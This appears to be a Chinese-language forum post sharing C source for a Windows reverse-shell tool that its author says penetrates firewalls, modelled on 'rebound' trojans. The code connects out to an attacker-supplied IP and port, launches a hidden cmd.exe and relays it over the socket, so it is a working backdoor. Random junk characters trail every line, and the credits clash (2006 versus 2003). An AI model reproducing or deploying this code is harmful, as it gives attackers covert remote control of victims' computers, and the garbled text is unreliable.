这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <i'4EnO
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/* ============================== w<_.T#
Rebound port in Windows NT ]*{QVn(
By wind,2006/7 AqVTHyCu
===============================*/ JH2?^h|{
#include 9vL`|`Vau
#include uF>I0J#z?
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#pragma comment(lib,"wsock32.lib") bG+p
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void OutputShell(); 8?W!U*0aS
SOCKET sClient; rWbuoG+8
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =mCUuY#
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void main(int argc,char **argv) [ (tgoh/
{ ?PWD[mQE\
WSADATA stWsaData; 9QJ=?bIC#
int nRet; xc R
SOCKADDR_IN stSaiClient,stSaiServer; A<iF37.
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if(argc != 3) =HP_IG_
{ ]M{SM`Ya
printf("Useage:\n\rRebound DestIP DestPort\n"); mKZ?H$E%%
return; IDzP<u8v
}
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WSAStartup(MAKEWORD(2,2),&stWsaData); -]5dD VSO
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ezlp~z"_k
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stSaiClient.sin_family = AF_INET; .D^k0V
stSaiClient.sin_port = htons(0); >U"f1q*$
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); X=(8t2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jD_(im5
{ ({![
printf("Bind Socket Failed!\n"); 65ijzZL;
return; '.atbl
} bEbO){Fe
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stSaiServer.sin_family = AF_INET; n5UcivyX
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ekI1j%fO
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _w+sx5
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (h/v"dV;
{ ]S,I}NP
printf("Connect Error!"); DXKk1u?Tq
return; `Lm
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} lhQ*;dMj%"
OutputShell(); /RmLV
} QEUg=*3W=
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void OutputShell() G7%Nwe~Y
{ nImRU.;P
char szBuff[1024]; Dr(.|)hv[&
SECURITY_ATTRIBUTES stSecurityAttributes; ,n &|+&
OSVERSIONINFO stOsversionInfo; Jd1eOeS
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; g IX"W;
STARTUPINFO stStartupInfo; _}jj>+zA`
char *szShell; ^fnRzX
PROCESS_INFORMATION stProcessInformation; pl fz)x3
unsigned long lBytesRead; 3zWY%(8t4?
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); HW.S~eLw*
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _3A$zA
stSecurityAttributes.lpSecurityDescriptor = 0; L=Dx$#|
stSecurityAttributes.bInheritHandle = TRUE; ?3KI}'}EM
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); EW2e k^
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;1{S"UY
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E6)FYz7x
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ta/G
stStartupInfo.wShowWindow = SW_HIDE; :Oq!.uO
stStartupInfo.hStdInput = hReadPipe; ~Gwn||g78
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; uT;Qo{G^
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GetVersionEx(&stOsversionInfo); Zpu>T2Tp
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switch(stOsversionInfo.dwPlatformId) Wt8;S$!=R
{ b;soMilz
case 1: D*D83z OzN
szShell = "command.com"; i7 p#%2
break; /jj}.X7yH
default: BvX!n"QIb
szShell = "cmd.exe"; |":^3
break; w`#lLl
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} #XJYkaL
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i"w$D{N
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send(sClient,szMsg,77,0); {'d?vm!r
while(1) !(SaE'
{ h+Dg"j<[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "me Jn/
if(lBytesRead) EWqKd/
{ {L q
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .4KXe"~E
send(sClient,szBuff,lBytesRead,0); R_@yj]%H=
} N{Is2Ia
else 6x[gg !;85
{ -u{k
lBytesRead=recv(sClient,szBuff,1024,0); NsJUruN
if(lBytesRead<=0) break; )}u.b-Nt.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @.CPZT
} bcj7.rh]'h
} 7Bmt^J5i&t
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return; t[an,3
}